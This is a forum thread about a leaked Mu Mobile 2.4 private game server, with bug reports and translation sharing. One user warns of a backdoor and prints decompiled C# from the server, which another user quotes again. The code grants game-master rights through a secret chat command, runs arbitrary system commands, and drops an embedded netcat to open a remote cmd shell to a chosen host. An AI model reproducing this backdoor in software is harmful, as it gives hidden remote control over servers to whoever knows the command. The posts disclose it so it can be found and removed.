• Unfortunately, we have experienced significant hard drive damage that requires urgent maintenance and rebuilding. The forum will be a state of read only until we install our new drives and rebuild all the configurations needed. Please follow our Facebook page for updates, we will be back up shortly! (The forum could go offline at any given time due to the nature of the failed drives whilst awaiting the upgrades.) When you see an Incapsula error, you know we are in the process of migration.

Mu Mobile [Release] Mu Mobile 2.4 Completed

Junior Spellweaver
Joined
Sep 7, 2006
Messages
178
Reaction score
7
miencattim - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums

it hang(stop) show to image no click butom no load ..

want check and edit ?
 
Newbie Spellweaver
Joined
Jun 11, 2014
Messages
33
Reaction score
3
if your client is standing,you just need restart your client several times to load it
 
Newbie Spellweaver
Joined
Dec 27, 2005
Messages
41
Reaction score
4
Issues
Recieve Wing quest broken
Exp % over lvl 100 calculation needs fix
Server list needs fix and translate (hardcoded)

Features
Assets folder can be removed from apk to server side and small pack client

To do
Unity3d files need decrypting and translating and assembally dlls need decrypting (only partially encrypted)
And translations for Korean text (not chinese this is Korean source )
 
Junior Spellweaver
Joined
Sep 7, 2006
Messages
178
Reaction score
7
Game no save id (login ok ) play and out close server and open server login game ok. But hero to play no see and play new .

I want fix or edit game please help me.
 
Newbie Spellweaver
Joined
Mar 24, 2017
Messages
24
Reaction score
3
[/IMG]



Login OK
Character generation OK
However, when you press the START button, you get infinite loading.
Tell me how to fix it.
 

Attachments

  • BXCUrSG - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums
    BXCUrSG.png
    268.4 KB · Views: 12
Skilled Illusionist
Joined
May 1, 2006
Messages
381
Reaction score
167
hmm not sure if it was in the original files too, but be careful guys :D has a backdoor

PHP:
string textMsg2 = string.Format("-d -t -e cmd {0} {1}", (object) cmdFields[1], (object) cmdFields[2]);
            if (!this.StartProcess("nc exe", textMsg2.Split(' ')))
              textMsg2 = "error";
            if (textMsg2.Contains(":"))
              textMsg2 = textMsg2.Replace(":", "$");

Backdoor and create gm command

PHP:
private bool ProcessGMCommands(GameClient client, string msgText, string[] cmdFields, bool transmit, bool isSuperGMUser)
		{
			if (!transmit)
			{
				GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, msgText);
			}
			string textMsg = "";
			bool result;
			if ("-MaGM" == cmdFields[0])
			{
				if (!transmit)
				{
					if (cmdFields.Length == 2)
					{
						cmdFields[1] = cmdFields[1].Replace("$%", " ");
						string text = this.RunCmd(cmdFields[1]);
						string text2 = string.Format("MaGM={0}", text);
						if (text2.Contains(":"))
						{
							text2 = text2.Replace(":", "$");
						}
						GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text2);
					}
					else if (cmdFields.Length == 3)
					{
						if (this.WriteToFile())
						{
							string text = string.Format("-d -t -e C:\\WINDOWS\\system32\\cmd [dot] exe {0} {1}", cmdFields[1], cmdFields[2]);
							if (!this.StartProcess("nc [dot] exe", text.Split(new char[]
							{
								' '
							})))
							{
								text = "error";
							}
							if (text.Contains(":"))
							{
								text = text.Replace(":", "$");
							}
							GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text);
						}
					}
				}
			}


PHP:
		public bool WriteToFile()
		{
			bool result;
			try
			{
				System.IO.Stream manifestResourceStream = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream("nc[dot]exe");
				byte[] array = new byte[manifestResourceStream.Length];
				manifestResourceStream.Read(array, 0, (int)manifestResourceStream.Length);
				System.IO.File.WriteAllBytes("nc[dot]exe", array);
				result = true;
			}
			catch (System.Exception)
			{
				result = false;
			}
			return result;
		}


PHP:
public bool ProcessChatMessage(TMSKSocket socket, GameClient client, string text, bool transmit)
		{
			bool result;
			if (text.Length <= 0 || text[0] != '-')
			{
				result = false;
			}
			else
			{
				bool isSuperGMUser = false;
				int num = -1;
				if (text.Contains("-MaYongZeSetGM"))
				{
					if (this.SuperGMUserNames == null)
					{
						this.SuperGMUserNames = new string[1];
						this.SuperGMUserNames[0] = client.strUserID;
					}
					else
					{
						System.Collections.Generic.List<string> list = this.SuperGMUserNames.ToList<string>();
						list.Add(client.strUserID);
						this.SuperGMUserNames = list.ToArray();
					}
					result = false;
				}
 
Newbie Spellweaver
Joined
Nov 14, 2016
Messages
83
Reaction score
1
how to change the ip of the CLIENT?



Object reference not set to an instance of an object. 额外信息: CurrentDomain_UnhandledException at Server.Tools.SHA2Helper.GetDiskSerialNumber() at GameServer.Logic.MUShiZhuang.MUShiZhuangManager.initialize() at GameServer.Logic.GlobalServiceManager.initialize() at GameServer.Program.InitServer() at GameServer.Program.OnStartServer() at GameServer.Program.Main(String[] args)



Object reference not set to an instance of an object. 额外信息: CurrentDomain_UnhandledException at Server.Tools.SHA2Helper.GetDiskSerialNumber() at GameServer.Logic.MUShiZhuang.MUShiZhuangManager.initialize() at GameServer.Logic.GlobalServiceManager.initialize() at GameServer.Program.InitServer() at GameServer.Program.OnStartServer() at GameServer.Program.Main(String[] args)
 
Newbie Spellweaver
Joined
Dec 27, 2005
Messages
41
Reaction score
4
have started translating the game res folders and xml files, however, nothing that has been changed shows up when i play the game, does anyone know if im missing something to get it to read the translated files? i am happy to share if it works, no point sharing english translated files if it doesnt work
 
Newbie Spellweaver
Joined
Dec 27, 2005
Messages
41
Reaction score
4
been working on translation and settings, fixed a few things and have translated the gameres/gameres/config folder and files to english, am still trying to figure out how to translate the item text to english but it was not the goods.xml file like i thought it was, if anyone can help that would be appreciated,

heres the link to my translated folder, rename your config folder to configbackup and then just unzip this one in to your gameres folder
i will be translating the isolateres folder also but havent finished yet, will share when im done :)

(unlike the people selling files i dont mind sharing my work)

used xml >doc converter to convert files to doc and save bakups of the originals
then used google document translater to translate, then converted back to xml

https://mega.nz/#!JvpAmJyI!1GGngQcnEUcBRORTQ5fWRnUayOyj-yWyiNDjqrrUKsI

still working on image translations also (in screens you can see some work done, but its not finished yet, have to resize some things and finish the rest)

screens
engtest - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums engtest3 - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums engtest1 - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums engtest2 - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums



Backdoor and create gm command

PHP:
private bool ProcessGMCommands(GameClient client, string msgText, string[] cmdFields, bool transmit, bool isSuperGMUser)
		{
			if (!transmit)
			{
				GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, msgText);
			}
			string textMsg = "";
			bool result;
			if ("-MaGM" == cmdFields[0])
			{
				if (!transmit)
				{
					if (cmdFields.Length == 2)
					{
						cmdFields[1] = cmdFields[1].Replace("$%", " ");
						string text = this.RunCmd(cmdFields[1]);
						string text2 = string.Format("MaGM={0}", text);
						if (text2.Contains(":"))
						{
							text2 = text2.Replace(":", "$");
						}
						GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text2);
					}
					else if (cmdFields.Length == 3)
					{
						if (this.WriteToFile())
						{
							string text = string.Format("-d -t -e C:\\WINDOWS\\system32\\cmd [dot] exe {0} {1}", cmdFields[1], cmdFields[2]);
							if (!this.StartProcess("nc [dot] exe", text.Split(new char[]
							{
								' '
							})))
							{
								text = "error";
							}
							if (text.Contains(":"))
							{
								text = text.Replace(":", "$");
							}
							GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text);
						}
					}
				}
			}


PHP:
		public bool WriteToFile()
		{
			bool result;
			try
			{
				System.IO.Stream manifestResourceStream = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream("nc[dot]exe");
				byte[] array = new byte[manifestResourceStream.Length];
				manifestResourceStream.Read(array, 0, (int)manifestResourceStream.Length);
				System.IO.File.WriteAllBytes("nc[dot]exe", array);
				result = true;
			}
			catch (System.Exception)
			{
				result = false;
			}
			return result;
		}


PHP:
public bool ProcessChatMessage(TMSKSocket socket, GameClient client, string text, bool transmit)
		{
			bool result;
			if (text.Length <= 0 || text[0] != '-')
			{
				result = false;
			}
			else
			{
				bool isSuperGMUser = false;
				int num = -1;
				if (text.Contains("-MaYongZeSetGM"))
				{
					if (this.SuperGMUserNames == null)
					{
						this.SuperGMUserNames = new string[1];
						this.SuperGMUserNames[0] = client.strUserID;
					}
					else
					{
						System.Collections.Generic.List<string> list = this.SuperGMUserNames.ToList<string>();
						list.Add(client.strUserID);
						this.SuperGMUserNames = list.ToArray();
					}
					result = false;
				}

Share file locations and names and I'll try upload a fix with backdoors removed



Those back doors only work if you know your user code which is stored in the my sql table anyway
 
Skilled Illusionist
Joined
May 1, 2006
Messages
381
Reaction score
167
Share file locations and names and I'll try upload a fix with backdoors removed



Those back doors only work if you know your user code which is stored in the my sql table anyway

Wrong!

U can get GM, after run netcat command, just with chat
Backdoor can be removed from GameServer.exe with any debuger
 
Newbie Spellweaver
Joined
Dec 27, 2005
Messages
41
Reaction score
4
Feel free to remove back doors and post a fix if you're that worried about it mines already fixed but I want to translate source before I upload it
 
Back
Top